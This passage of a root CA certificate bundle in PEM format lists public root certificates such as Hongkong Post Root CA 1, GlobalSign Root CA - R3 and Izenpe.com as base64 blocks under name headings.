ggEBAIFxNj4zB9bjMI0TfncyRsvPGbJgMUaXhvSYRqTCZUXP00B841oiqBB4M8yIsdOBSvZiF3tf TQou0M+LI+5PAk676w7KvRhj6IAcjeEcjT3g/1tf6mTll+g/mX8MCgkzABpTpyHhOEvWgxutr2TC +Rx6jGZITWYfGAriPrsfB2WThbkasLnE+w0R9vXW+RvHLCu3GFH+4Hv2qEivbDtPL+/40UceJlfw UR0zlv/vWT3aTdEVNMfqPxZIe5EcgEMPPbgFPtGzlc3Yyg/CQ2fbt5PgIoIuvvVoKIO5wTtpeyDa Tpxt4brNj3pssAki14sL2xzVWiZbDcDq5WDQn/413z8CAwEAAaOCAawwggGoMA8GA1UdEwEB/wQF MAMBAf8wggEWBgNVHSAEggENMIIBCTCCAQUGCisGAQQBzh8BAQEwgfYwgdAGCCsGAQUFBwICMIHD HoHAAFMAZQBlACAAcwBlAHIAdABpAGYAaQBrAGEAYQB0ACAAbwBuACAAdgDkAGwAagBhAHMAdABh AHQAdQBkACAAQQBTAC0AaQBzACAAUwBlAHIAdABpAGYAaQB0AHMAZQBlAHIAaQBtAGkAcwBrAGUA cwBrAHUAcwAgAGEAbABhAG0ALQBTAEsAIABzAGUAcgB0AGkAZgBpAGsAYQBhAHQAaQBkAGUAIABr AGkAbgBuAGkAdABhAG0AaQBzAGUAawBzMCEGCCsGAQUFBwIBFhVodHRwOi8vd3d3LnNrLmVlL2Nw cy8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3d3dy5zay5lZS9qdXVyL2NybC8wHQYDVR0OBBYE FASqekej5ImvGs8KQKcYP2/v6X2+MB8GA1UdIwQYMBaAFASqekej5ImvGs8KQKcYP2/v6X2+MA4G A1UdDwEB/wQEAwIB5jANBgkqhkiG9w0BAQUFAAOCAQEAe8EYlFOiCfP+JmeaUOTDBS8rNXiRTHyo ERF5TElZrMj3hWVcRrs7EKACr81Ptcw2Kuxd/u+gkcm2k298gFTsxwhwDY77guwqYHhpNjbRxZyL abVAyJRld/JXIWY7zoVAtjNjGr95HvxcHdMdkxuLDF2FvZkwMhgJkVLpfKG6/2SSmuz+Ne6ML678 IIbsSt4beDI3poHSna9aEhbKmVv8b20OxaAehsmR0FyYgl9jDIpaq9iVpszLita/ZEuOyoqysOkh Mp6qqIWYNIE5ITuoOlIyPfZrN4YGWhWY3PARZv40ILcD9EEQfTmEeZZyY7aWAuVrua0ZTbvGRNs2 yyqcjg== -----END CERTIFICATE----- Hongkong Post Root CA 1 ======================= -----BEGIN CERTIFICATE----- MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1 ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT c4afU9hDDl3WY4JxHYB0yvbiAmvZWg== -----END CERTIFICATE----- SecureSign RootCA11 =================== -----BEGIN CERTIFICATE----- MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1 cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01 y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061 lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I= -----END CERTIFICATE----- ACEDICOM Root ============= -----BEGIN CERTIFICATE----- MIIFtTCCA52gAwIBAgIIYY3HhjsBggUwDQYJKoZIhvcNAQEFBQAwRDEWMBQGA1UEAwwNQUNFRElD T00gUm9vdDEMMAoGA1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMB4XDTA4 MDQxODE2MjQyMloXDTI4MDQxMzE2MjQyMlowRDEWMBQGA1UEAwwNQUNFRElDT00gUm9vdDEMMAoG A1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMIICIjANBgkqhkiG9w0BAQEF AAOCAg8AMIICCgKCAgEA/5KV4WgGdrQsyFhIyv2AVClVYyT/kGWbEHV7w2rbYgIB8hiGtXxaOLHk WLn709gtn70yN78sFW2+tfQh0hOR2QetAQXW8713zl9CgQr5auODAKgrLlUTY4HKRxx7XBZXehuD YAQ6PmXDzQHe3qTWDLqO3tkE7hdWIpuPY/1NFgu3e3eM+SW10W2ZEi5PGrjm6gSSrj0RuVFCPYew MYWveVqc/udOXpJPQ/yrOq2lEiZmueIM15jO1FillUAKt0SdE3QrwqXrIhWYENiLxQSfHY9g5QYb m8+5eaA9oiM/Qj9r+hwDezCNzmzAv+YbX79nuIQZ1RXve8uQNjFiybwCq0Zfm/4aaJQ0PZCOrfbk HQl/Sog4P75n/TSW9R28MHTLOO7VbKvU/PQAtwBbhTIWdjPp2KOZnQUAqhbm84F9b32qhm2tFXTT xKJxqvQUfecyuB+81fFOvW8XAjnXDpVCOscAPukmYxHqC9FK/xidstd7LzrZlvvoHpKuE1XI2Sf2 3EgbsCTBheN3nZqk8wwRHQ3ItBTutYJXCb8gWH8vIiPYcMt5bMlL8qkqyPyHK9caUPgn6C9D4zq9 2Fdx/c6mUlv53U3t5fZvie27k5x2IXXwkkwp9y+cAS7+UEaeZAwUswdbxcJzbPEHXEUkFDWug/Fq TYl6+rPYLWbwNof1K1MCAwEAAaOBqjCBpzAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKaz 4SsrSbbXc6GqlPUB53NlTKxQMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUprPhKytJttdzoaqU 9QHnc2VMrFAwRAYDVR0gBD0wOzA5BgRVHSAAMDEwLwYIKwYBBQUHAgEWI2h0dHA6Ly9hY2VkaWNv bS5lZGljb21ncm91cC5jb20vZG9jMA0GCSqGSIb3DQEBBQUAA4ICAQDOLAtSUWImfQwng4/F9tqg aHtPkl7qpHMyEVNEskTLnewPeUKzEKbHDZ3Ltvo/Onzqv4hTGzz3gvoFNTPhNahXwOf9jU8/kzJP eGYDdwdY6ZXIfj7QeQCM8htRM5u8lOk6e25SLTKeI6RF+7YuE7CLGLHdztUdp0J/Vb77W7tH1Pwk zQSulgUV1qzOMPPKC8W64iLgpq0i5ALudBF/TP94HTXa5gI06xgSYXcGCRZj6hitoocf8seACQl1 ThCojz2GuHURwCRiipZ7SkXp7FnFvmuD5uHorLUwHv4FB4D54SMNUI8FmP8sX+g7tq3PgbUhh8oI KiMnMCArz+2UW6yyetLHKKGKC5tNSixthT8Jcjxn4tncB7rrZXtaAWPWkFtPF2Y9fwsZo5NjEFIq nxQWWOLcpfShFosOkYuByptZ+thrkQdlVV9SH686+5DdaaVbnG0OLLb6zqylfDJKZ0DcMDQj3dcE I2bw/FWAp/tmGYI1Z2JwOV5vx+qQQEQIHriy1tvuWacNGHk0vFQYXlPKNFHtRQrmjseCNj6nOGOp MCwXEGCSn1WHElkQwg9naRHMTh5+Spqtr0CodaxWkHS4oJyleW/c6RrIaQXpuvoDs3zk4E7Czp3o tkYNbn5XOmeUwssfnHdKZ05phkOTOPu220+DkdRgfks+KzgHVZhepA== -----END CERTIFICATE----- Verisign Class 1 Public Primary Certification Authority ======================================================= -----BEGIN CERTIFICATE----- MIICPDCCAaUCED9pHoGc8JpK83P/uUii5N0wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAx IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDlGb9to1ZhLZlIcfZn3rmN67eehoAKkQ76OCWvRoiC5XOooJskXQ0fzGVuDLDQ VoQYh5oGmxChc9+0WDlrbsH2FdWoqD+qEgaNMax/sDTXjzRniAnNFBHiTkVWaR94AoDa3EeRKbs2 yWNcxeDXLYd7obcysHswuiovMaruo2fa2wIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAFgVKTk8d6Pa XCUDfGD67gmZPCcQcMgMCeazh88K4hiWNWLMv5sneYlfycQJ9M61Hd8qveXbhpxoJeUwfLaJFf5n 0a3hUKw8fGJLj7qE1xIVGx/KXQ/BUpQqEZnae88MNhPVNdwQGVnqlMEAv3WP2fr9dgTbYruQagPZ RjXZ+Hxb -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority ======================================================= -----BEGIN CERTIFICATE----- MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94 f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/ D/xwzoiQ -----END CERTIFICATE----- Microsec e-Szigno Root CA 2009 ============================== -----BEGIN CERTIFICATE----- MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG 0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm 1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02 yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi LXpUq3DDfSJlgnCW -----END CERTIFICATE----- E-Guven Kok Elektronik Sertifika Hizmet Saglayicisi =================================================== -----BEGIN CERTIFICATE----- MIIDtjCCAp6gAwIBAgIQRJmNPMADJ72cdpW56tustTANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJUUjEoMCYGA1UEChMfRWxla3Ryb25payBCaWxnaSBHdXZlbmxpZ2kgQS5TLjE8MDoGA1UEAxMz ZS1HdXZlbiBLb2sgRWxla3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhZ2xheWljaXNpMB4XDTA3 MDEwNDExMzI0OFoXDTE3MDEwNDExMzI0OFowdTELMAkGA1UEBhMCVFIxKDAmBgNVBAoTH0VsZWt0 cm9uaWsgQmlsZ2kgR3V2ZW5saWdpIEEuUy4xPDA6BgNVBAMTM2UtR3V2ZW4gS29rIEVsZWt0cm9u aWsgU2VydGlmaWthIEhpem1ldCBTYWdsYXlpY2lzaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAMMSIJ6wXgBljU5Gu4Bc6SwGl9XzcslwuedLZYDBS75+PNdUMZTe1RK6UxYC6lhj71vY 8+0qGqpxSKPcEC1fX+tcS5yWCEIlKBHMilpiAVDV6wlTL/jDj/6z/P2douNffb7tC+Bg62nsM+3Y jfsSSYMAyYuXjDtzKjKzEve5TfL0TW3H5tYmNwjy2f1rXKPlSFxYvEK+A1qBuhw1DADT9SN+cTAI JjjcJRFHLfO6IxClv7wC90Nex/6wN1CZew+TzuZDLMN+DfIcQ2Zgy2ExR4ejT669VmxMvLz4Bcpk 9Ok0oSy1c+HCPujIyTQlCFzz7abHlJ+tiEMl1+E5YP6sOVkCAwEAAaNCMEAwDgYDVR0PAQH/BAQD AgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFJ/uRLOU1fqRTy7ZVZoEVtstxNulMA0GCSqG SIb3DQEBBQUAA4IBAQB/X7lTW2M9dTLn+sR0GstG30ZpHFLPqk/CaOv/gKlR6D1id4k9CnU58W5d F4dvaAXBlGzZXd/aslnLpRCKysw5zZ/rTt5S/wzw9JKp8mxTq5vSR6AfdPebmvEvFZ96ZDAYBzwq D2fK/A+JYZ1lpTzlvBNbCNvj/+27BrtqBrF6T2XGgv0enIu1De5Iu7i9qgi0+6N8y5/NkHZchpZ4 Vwpm+Vganf2XKWDeEaaQHBkc7gGWIjQ0LpH5t8Qn0Xvmv/uARFoW5evg1Ao4vOSR49XrXMGs3xtq fJ7lddK2l4fbzIcrQzqECK+rPNv3PGYxhrCdU3nt+CPeQuMtgvEP5fqX -----END CERTIFICATE----- GlobalSign Root CA - R3 ======================= -----BEGIN CERTIFICATE----- MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ 0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3 rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2 xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7 lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8 EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18 YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r kpeDMdmztcpHWD9f -----END CERTIFICATE----- TC TrustCenter Universal CA III =============================== -----BEGIN CERTIFICATE----- MIID4TCCAsmgAwIBAgIOYyUAAQACFI0zFQLkbPQwDQYJKoZIhvcNAQEFBQAwezELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxJDAiBgNVBAsTG1RDIFRydXN0Q2VudGVy IFVuaXZlcnNhbCBDQTEoMCYGA1UEAxMfVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBIElJSTAe Fw0wOTA5MDkwODE1MjdaFw0yOTEyMzEyMzU5NTlaMHsxCzAJBgNVBAYTAkRFMRwwGgYDVQQKExNU QyBUcnVzdENlbnRlciBHbWJIMSQwIgYDVQQLExtUQyBUcnVzdENlbnRlciBVbml2ZXJzYWwgQ0Ex KDAmBgNVBAMTH1RDIFRydXN0Q2VudGVyIFVuaXZlcnNhbCBDQSBJSUkwggEiMA0GCSqGSIb3DQEB AQUAA4IBDwAwggEKAoIBAQDC2pxisLlxErALyBpXsq6DFJmzNEubkKLF5+cvAqBNLaT6hdqbJYUt QCggbergvbFIgyIpRJ9Og+41URNzdNW88jBmlFPAQDYvDIRlzg9uwliT6CwLOunBjvvya8o84pxO juT5fdMnnxvVZ3iHLX8LR7PH6MlIfK8vzArZQe+f/prhsq75U7Xl6UafYOPfjdN/+5Z+s7Vy+Eut CHnNaYlAJ/Uqwa1D7KRTyGG299J5KmcYdkhtWyUB0SbFt1dpIxVbYYqt8Bst2a9c8SaQaanVDED1 M4BDj5yjdipFtK+/fz6HP3bFzSreIMUWWMv5G/UPyw0RUmS40nZid4PxWJ//AgMBAAGjYzBhMB8G A1UdIwQYMBaAFFbn4VslQ4Dg9ozhcbyO5YAvxEjiMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/ BAQDAgEGMB0GA1UdDgQWBBRW5+FbJUOA4PaM4XG8juWAL8RI4jANBgkqhkiG9w0BAQUFAAOCAQEA g8ev6n9NCjw5sWi+e22JLumzCecYV42FmhfzdkJQEw/HkG8zrcVJYCtsSVgZ1OK+t7+rSbyUyKu+ KGwWaODIl0YgoGhnYIg5IFHYaAERzqf2EQf27OysGh+yZm5WZ2B6dF7AbZc2rrUNXWZzwCUyRdhK BgePxLcHsU0GDeGl6/R1yrqc0L2z0zIkTO5+4nYES0lT2PLpVDP85XEfPRRclkvxOvIAu2y0+pZV CIgJwcyRGSmwIC3/yzikQOEXvnlhgP8HA4ZMTnsGnxGGjYnuJ8Tb4rwZjgvDwxPHLQNjO9Po5KIq woIIlBZU8O8fJ5AluA0OKBtHd0e9HKgl8ZS0Zg== -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx 51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi 6Et8Vcad+qMUu2WFbm5PEn4KPJ2V -----END CERTIFICATE----- Izenpe.com ========== -----BEGIN CERTIFICATE----- MIIF8TCCA9mgAwIBAgIQALC3WhZIX7/hy/WL1xnmfTANBgkqhkiG9w0BAQsFADA4MQswCQYDVQQG EwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6ZW5wZS5jb20wHhcNMDcxMjEz MTMwODI4WhcNMzcxMjEzMDgyNzI1WjA4MQswCQYDVQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMu QS4xEzARBgNVBAMMCkl6ZW5wZS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDJ 03rKDx6sp4boFmVqscIbRTJxldn+EFvMr+eleQGPicPK8lVx93e+d5TzcqQsRNiekpsUOqHnJJAK ClaOxdgmlOHZSOEtPtoKct2jmRXagaKH9HtuJneJWK3W6wyyQXpzbm3benhB6QiIEn6HLmYRY2xU +zydcsC8Lv/Ct90NduM61/e0aL6i9eOBbsFGb12N4E3GVFWJGjMxCrFXuaOKmMPsOzTFlUFpfnXC PCDFYbpRR6AgkJOhkEvzTnyFRVSa0QUmQbC1TR0zvsQDyCV8wXDbO/QJLVQnSKwv4cSsPsjLkkxT OTcj7NMB+eAJRE1NZMDhDVqHIrytG6P+JrUV86f8hBnp7KGItERphIPzidF0BqnMC9bC3ieFUCbK F7jJeodWLBoBHmy+E60QrLUk9TiRodZL2vG70t5HtfG8gfZZa88ZU+mNFctKy6lvROUbQc/hhqfK 